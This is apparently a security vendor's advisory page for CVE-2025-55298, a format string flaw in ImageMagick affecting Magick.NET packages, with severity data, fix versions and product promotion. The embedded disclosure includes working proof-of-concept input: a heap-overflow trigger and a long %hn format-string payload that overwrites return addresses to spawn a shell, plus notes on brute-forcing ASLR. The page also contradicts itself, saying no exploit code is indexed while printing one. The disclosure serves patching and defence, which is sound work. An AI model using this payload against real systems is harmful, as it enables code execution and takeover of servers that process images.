How severe is CVE-2025-55298?

CVE-2025-55298 has a CVSS score of 7.5/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by CVE-2025-55298?

CVE-2025-55298 affects the following packages: Magick.NET-Q16-AnyCPU (NuGet), Magick.NET-Q16-HDRI-AnyCPU (NuGet), Magick.NET-Q16-HDRI-OpenMP-arm64 (NuGet), Magick.NET-Q16-HDRI-OpenMP-x64 (NuGet), Magick.NET-Q16-HDRI-arm64 (NuGet), Magick.NET-Q16-HDRI-x64 (NuGet), Magick.NET-Q16-HDRI-x86 (NuGet), Magick.NET-Q16-OpenMP-arm64 (NuGet), and 10 more. Ecosystems affected: NuGet.

How do I fix CVE-2025-55298?

Update Magick.NET-Q16-AnyCPU to 14.8.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-55298 is resolved across your whole dependency graph.

How do I detect CVE-2025-55298 in my NuGet dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for Magick.NET-Q16-AnyCPU, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2025-55298 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2025-55298?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-55298 can be triaged on real exposure rather than presence alone.

Is CVE-2025-55298 actively exploited in the wild?

No public exploit code has been indexed for CVE-2025-55298 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2025-55298?

CVE-2025-55298 has an EPSS (Exploit Prediction Scoring System) score of 4.5%, placing it in the 91th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2025-55298?

CVE-2025-55298 is classified as CWE-123 (CWE-123), CWE-134 (CWE-134). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2025-55298 published, and has it been updated?

CVE-2025-55298 was published on August 26, 2025 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

.NET

.NET NuGet

Not in CISA KEV

HIGH severity

CVE-2025-55298 — Magick.NET-Q16-AnyCPU

HIGHFix: ImageMagick/ImageMagick@439b362

CVE-2025-55298 is a high-severity (CVSS 7.5) CWE-123 vulnerability in Magick.NET-Q16-AnyCPU. A fix is available for Magick.NET-Q16-AnyCPU — see the affected versions and patch details below.

ImageMagick Format String Bug in InterpretImageFilename leads to arbitrary code execution

Also known asGHSA-9ccg-6pjw-x645

Published

Aug 26, 2025

Updated

Aug 12, 2026

Affected

18 pkgs

Patched

18 / 18

Exploits

None indexed

Exploitation data as of Sep 25, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-55298.

EPSS Exploitation Probability

via FIRST.org ↗

4.5%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs91th percentile — riskier than 91% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2025-55298 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

18 pkgs affected

.NETMagick.NET-Q16-AnyCPU.NETMagick.NET-Q16-HDRI-AnyCPU.NETMagick.NET-Q16-HDRI-OpenMP-arm64.NETMagick.NET-Q16-HDRI-OpenMP-x64.NETMagick.NET-Q16-HDRI-arm64.NETMagick.NET-Q16-HDRI-x64.NETMagick.NET-Q16-HDRI-x86.NETMagick.NET-Q16-OpenMP-arm64+10 more

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects NuGet packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A format string bug vulnerability exists in InterpretImageFilename function where user input is directly passed to FormatLocaleString without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution.

Details

root cause

MagickExport size_t InterpretImageFilename(const ImageInfo *image_info,
  Image *image,const char *format,int value,char *filename,
  ExceptionInfo *exception)
{

...

  while ((cursor=strchr(cursor,'%')) != (const char *) NULL)
  {
    const char
      *q = cursor;

    ssize_t
      offset = (ssize_t) (cursor-format);

    cursor++;  /* move past '%' */
    if (*cursor == '%')
      {
        /*
          Escaped %%.
        */
        cursor++;
        continue;
      }
    /*
      Skip padding digits like %03d.
    */
    if (isdigit((int) ((unsigned char) *cursor)) != 0)
      (void) strtol(cursor,(char **) &cursor,10);
    switch (*cursor)
    {
      case 'd':
      case 'o':
      case 'x':
      {
        ssize_t
          count;

        count=FormatLocaleString(pattern,sizeof(pattern),q,value);
        if ((count <= 0) || (count >= MagickPathExtent) ||
            ((offset+count) >= MagickPathExtent))
          return(0);
        (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent-
          offset));
        cursor++;
        break;
      }

When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function.

MagickExport ssize_t FormatLocaleString(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,...)
{
  ssize_t
    n;

  va_list
    operands;

  va_start(operands,format);
  n=FormatLocaleStringList(string,length,format,operands);
  va_end(operands);
  return(n);
}

MagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,va_list operands)
{
...
n=(ssize_t) _vsnprintf_l(string,length,format,locale,operands);

Inside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations.

PoC

1. Heap overflow read tested on development container

root@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n
=================================================================
==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408
READ of size 8 at 0x603000000001 thread T0
    #0 0x5bdccaae689d in SplaySplayTree splay-tree.c
    #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #10 0x73b2102b2d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)

0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028)
allocated by thread T0 here:
    #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #1 0x73b21031915a  (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)

SUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree
Shadow bytes around the buggy address:
  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==55653==ABORTING

Processing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition.

2. Shell execution tested on a local environment

https://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94

 ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\$hn%233c%2194\$hhnaaaaaaaaa

The exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges.

Exploitation Process:

Format string payload corrupts stack pointers through positional parameters
Multiple 2-byte writes (%hn) progressively overwrite the return address
Final payload redirects execution to a one-gadget (0x00007ffff66ebc85)
One-gadget executes /bin/sh with inherited process permissions

Remote Exploitation Feasibility: While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access.

Important: The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure.

Note: This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system.

Impact

This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges.

The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks.

Suggested Fix

Two potential mitigation approaches:

Input Validation: Add format string validation in InterpretImageFilename to reject filenames containing format specifiers (%n, %s, %x, etc.) before passing to FormatLocaleString
Safe Parsing: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to FormatLocaleString

Credits

Team Daemon Fuzz Hunters

Bug Hunting Master Program, HSpace/Findthegap

Woojin Park @jin-156 [email protected]

Hojun Lee @leehohojune [email protected]

Youngin Won @amethyst0225 [email protected]

Siyeon Han @hanbunny [email protected]

Additional notes from the ImageMagick team:

On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation:

To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive:

In wrappers: filename:literal
From the command line: -define filename:literal=true

Affected Packages

18 total 18 fixed

Ecosystem	Package	Vulnerable range	Fix
.NETNuGet	`Magick.NET-Q16-AnyCPU`	all versions	14.8.1`dotnet add package Magick.NET-Q16-AnyCPU --version 14.8.1`
.NETNuGet	`Magick.NET-Q16-HDRI-AnyCPU`	all versions	14.8.1`dotnet add package Magick.NET-Q16-HDRI-AnyCPU --version 14.8.1`
.NETNuGet	`Magick.NET-Q16-HDRI-OpenMP-arm64`	all versions	14.8.1`dotnet add package Magick.NET-Q16-HDRI-OpenMP-arm64 --version 14.8.1`
.NETNuGet	`Magick.NET-Q16-HDRI-OpenMP-x64`	all versions	14.8.1`dotnet add package Magick.NET-Q16-HDRI-OpenMP-x64 --version 14.8.1`
.NETNuGet	`Magick.NET-Q16-HDRI-arm64`	all versions	14.8.1`dotnet add package Magick.NET-Q16-HDRI-arm64 --version 14.8.1`
.NETNuGet	`Magick.NET-Q16-HDRI-x64`	all versions	14.8.1`dotnet add package Magick.NET-Q16-HDRI-x64 --version 14.8.1`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for Magick.NET-Q16-AnyCPU, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update Magick.NET-Q16-AnyCPU to 14.8.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-55298 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-55298 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-55298. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary A format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution. ## Details ### root cause ``` MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... while ((cursor=strchr(cursor,'%')) != (const char *) NULL) { const char *q

O3 Security · Impact-Aware SCA

Is CVE-2025-55298 in your dependencies?

O3 Security finds CVE-2025-55298 across NuGet dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works

CVSS Score

7.5/10CVSS v3 base

Vector breakdown

Attack Vector

Network

Attack Complexity

High

Privileges Required

Low

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Raw vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE Classification

CWE-123CWE-123 CWE-134CWE-134

Weaponization

No known public exploit tooling found.

OpenSSF Scorecard

Package health score

ImageMagick

8.8/10

Code-Review0/10

Maintained10/10

Dependency-Update-Tool10/10

Vulnerabilities10/10

Branch-Protection8/10

Assessed Sep 25, 2026

Timeline

Disclosed

Aug 26, 2025

Last updated

Aug 12, 2026

Identifiers

CVE-2025-55298

GHSA-9ccg-6pjw-x645

References

Advisorygithub.com Advisorygithub.com Advisorynvd.nist.gov Fixgithub.com Webgithub.com Weblists.debian.org Packagegithub.com

Related vulnerabilities

This CVE is high severity — higher than any of the other 8 CVEs affecting Magick.NET-Q16-AnyCPU (highest there: moderate).

GHSA-cvhv-g4rq-3hmwCVE-2026-53466CVE-2026-62363GHSA-56m6-8q75-f2rwGHSA-6jwg-7q3p-5fqmGHSA-6vxp-gfwf-hcr9GHSA-76q6-2p6h-xjqrGHSA-7c7m-fpjw-gwcq

Provenance

Sources

OSV.devNVDFIRST.org (EPSS)

Last verifiedAug 12, 2026

CVE-2025-55298 — Magick.NET-Q16-AnyCPU

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

Description

Summary

Details

root cause

PoC

1. Heap overflow read tested on development container

2. Shell execution tested on a local environment

Impact

Suggested Fix

Credits

Team Daemon Fuzz Hunters

Additional notes from the ImageMagick team:

Affected Packages

Detection & mitigation playbook

Detect

Fix

Workarounds

How O3 protects you

Frequently Asked Questions

Is CVE-2025-55298 in your dependencies?